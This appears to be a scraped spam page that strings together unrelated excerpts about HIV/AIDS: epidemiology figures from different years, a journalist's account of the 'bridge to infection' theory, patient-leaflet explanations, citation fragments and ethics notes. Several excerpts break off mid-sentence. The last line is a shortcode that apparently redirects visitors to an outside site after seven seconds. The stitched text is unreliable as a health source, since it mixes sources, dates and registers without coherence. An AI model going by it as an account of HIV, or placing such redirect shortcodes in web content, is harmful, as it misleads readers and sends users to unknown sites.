Over time, HIV can destroy so many of these cells that the body can’t fight off infections and disease. These opportunistic infections or cancers take advantage of a very weak immune system and signal that the person has AIDS, the last stage of HIV infection….Read more about HIV/AIDS
Given the confusion, it was simplest to latch onto the most provocative idea: that black gay men, who we knew were also contracting H.I.V. in high numbers, provided a “bridge to infection” to black heterosexual women, a phrase I first heard from researchers at a medical conference. As the theory went, closeted black gay men were using women as unsuspecting “cover girls” to hide their sexuality and then infecting them with H.I.V. In my reporting for both Times and Essence, I found no shortage of anecdotal accounts of H.I.V.-positive women who were infected by male partners who had been having sex with other men in secret. As a black lesbian myself, I understood the stigma, shame and fear that could drive black gay men to create seemingly straight lives while sleeping with men — and end up unwittingly infecting their female partners with H.I.V. This idea made a certain amount of sense in the frustrating absence of scientific data.
Jump up ^ de Taeye, Steven W.; Ozorowski, Gabriel; Torrents de la Peña, Alba; Guttman, Miklos; Julien, Jean-Philippe; van den Kerkhof, Tom L. G. M.; Burger, Judith A.; Pritchard, Laura K.; Pugach, Pavel (2015-12-17). “Immunogenicity of Stabilized HIV-1 Envelope Trimers with Reduced Exposure of Non-neutralizing Epitopes”. Cell. 163 (7): 1702–1715. doi:10.1016/j.cell.2015.11.056. ISSN 1097-4172. PMC 4732737 . PMID 26687358.
In 2016, about 36.7 million people, including about 2.1 million children (< 15 yr), were living with HIV worldwide, according to the World Health Organization (WHO ). Almost half do not know they are infected. In 2016, about 1 million died, and 1.8 million were newly infected. Most new infections (95%) occur in the developing world; > 1/2 are in women. Since 2010, new infections among children have decreased by 47%, from about 300,000 to 160,000 (in 2016). In many sub-Saharan African countries, incidence is declining markedly from the very high rates of a decade before.
Chou R, Smits AK, Huffman LH, Fu R, Korthuis PT. Prenatal screening for HIV: a review of the evidence for the U.S. Preventive Services Task Force. U.S. Preventive Services Task Force. Ann Intern Med 2005;143:38–54.
2Centers for Disease Control and Prevention. CDC Fact Sheet HIV Incidence: Estimated Annual Infections in the U.S., 2008-2014, Overall and by Transmission Route. February 2017. Available from: https://www.cdc.gov/nchhstp/newsroom/docs/factsheets/hiv-incidence-fact-sheet_508.pdf
In August, Janet and Robert Siliciano wrote about the Brigham men and the Mississippi baby in Science, saying that the cases confirmed that researchers were on the right path in attacking latent infection. The Berlin patient was an even more compelling example. Karl Salzwedel, the chief of Pathogenesis and Basic Research in the Division of aids at the National Institute of Allergy and Infectious Diseases, told me that until Timothy Brown “it wasn’t really clear how we would go about getting rid of the last bits of virus that remain in the reservoir.” Brown’s case provided “a proof of concept: it may be possible to eradicate latent H.I.V. from the body. It may be from a very risky and toxic method, but it’s proof of concept nonetheless.”
^ Jump up to: a b c d e f Coutsoudis, A; Kwaan, L; Thomson, M (October 2010). “Prevention of vertical transmission of HIV-1 in resource-limited settings”. Expert review of anti-infective therapy. 8 (10): 1163–75. doi:10.1586/eri.10.94. PMID 20954881.
You don’t actually “get” AIDS. You might get infected with HIV, and later you might develop AIDS. You can get infected with HIV from anyone who’s infected, even if they don’t look sick and even if they haven’t tested HIV-positive yet. The blood, vaginal fluid, semen, and breast milk of people infected with HIV has enough of the virus in it to infect other people. Most people get the HIV virus by:
Greg Millett, a senior scientist for the C.D.C. for 14 years and a senior policy adviser for the Obama administration’s White House Office of National AIDS Policy, put it more candidly. “During the Bush years, the administration dropped all pretense that they cared about AIDS in this country,” said Millett, who is now the vice president and director of public policy at amfAR, the Foundation for AIDS Research. “The White House said H.I.V. is only a problem in sub-Saharan Africa, and that message filtered down to the public. Though the Bush administration did wonderful work in combating H.I.V. globally, the havoc that it wreaked on the domestic epidemic has been long-lasting.”
Cao Y, Qin L, Zhang L, Safrit J, Ho DD. Virologic and immunologic characterization of long-term survivors of human immunodeficiency virus type 1 infection. N Engl J Med. 1995 Jan 26. 332(4):201-8. [Medline].
If a person gets an “AIDS-defining illness,” this is usually a sign that the person has AIDS. Healthy people do not get these illnesses, because a healthy immune system is strong enough to fight off these diseases. Because of this, getting an AIDS-defining illness is a sign that a person’s immune system is seriously damaged. In a person with HIV, getting an AIDS-defining illness signals that the HIV has damaged the immune system badly enough that the person now has AIDS.
With ‘M’ for “major”, this is by far the most common type of HIV, with more than 90% of HIV/AIDS cases deriving from infection with HIV-1 group M. The M group is subdivided further into clades, called subtypes, that are also given a letter. There are also “circulating recombinant forms” or CRFs derived from recombination between viruses of different subtypes which are each given a number. CRF12_BF, for example, is a recombination between subtypes B and F.
At the household level, AIDS causes both loss of income and increased spending on healthcare. A study in Côte d’Ivoire showed that households having a person with HIV/AIDS spent twice as much on medical expenses as other households. This additional expenditure also leaves less income to spend on education and other personal or family investment.
HIV can affect anybody — about 1 million people in the U.S. are living with HIV, and more than 41,000 new infections happen every year. Most people with HIV don’t have any symptoms for many years and feel totally fine, so they might not even know they have it.
It depends on if that person is on treatment and how the virus responds to early treatment. When treatment fails to decrease the replication of the virus, the effects can become life threatening, and the infection can progress to AIDS.
A 2003 analysis in the Journal of Acquired Immune Deficiency Syndromes calculated that more than $18 billion in medical costs could have been saved by the year 2010 had the CDC invested just $383 million more in prevention programming per year from 2000 to 2005, an amount that theoretically could have cut the annual HIV infection rate in half.
Sexual contact. People at greatest risk are those who do not practice safer sex by always using a condom, those who have multiple sexual partners, those who participate in anal intercourse, and those who have sex with a partner who has HIV infection and/or other sexually transmitted diseases (STDs). In the United States and Europe, most cases of sexually transmitted HIV infection result from homosexual contact, whereas in Africa, the disease is spread primarily through sexual intercourse among heterosexuals. Most people with AIDS in the United States are between 25 and 44 years of age.
The percentage of pregnant women receiving antiretrovirals for preventing mother-to-child transmission of HIV increased from 45% in 2008 to 65% in 2012. Due to the Prevention of Mother-to-Child Transmission (PMCT) initiative, some countries have reported even higher percentages.
The major ethical principles that must be considered when formulating policies for HIV counseling and testing include respect for autonomy, confidentiality, justice, protection of vulnerable individuals, and beneficence to both the woman tested and, if she is pregnant, to her newborn as well. Individuals offering testing need to be mindful not only of the benefits of testing but also its potential risks because, if a woman’s test result is positive, she faces the possibility of being ostracized by her family, friends, and community or being subjected to intimate partner violence. In addition, although the overt stigma of HIV infection has been reduced over the past 20 years, the potential for job discrimination, loss of health insurance, and loss of housing still exists.
Most of the fear surrounding AIDS has to do with its most common form of transmission: sexual behavior. The virus can be passed through any behavior that involves the exchange of blood, semen, or vaginal secretions. Anal intercourse is the highest-risk activity, but oral or vaginal intercourse is dangerous too. Thus, federal health authorities recommend using a condom—yet they caution that condoms are not 100 percent effective; condoms can leak, and they can break. Highly accurate HIV testing is widely available, and often advisable, since infected people can feel perfectly healthy. Although the virus can be contracted immediately upon exposure to it, symptoms of full-blown AIDS may take up to ten years to appear.
Resistance of HIV to protease inhibitors. After the administration of a single protease inhibitor to a patient with HIV there is a precipitous fall in viral RNA levels in plasma with a half-life of approximately 2 days (top panel). This is accompanied (more…) [redirect url=’http://penetratearticles.info/bump’ sec=’7′]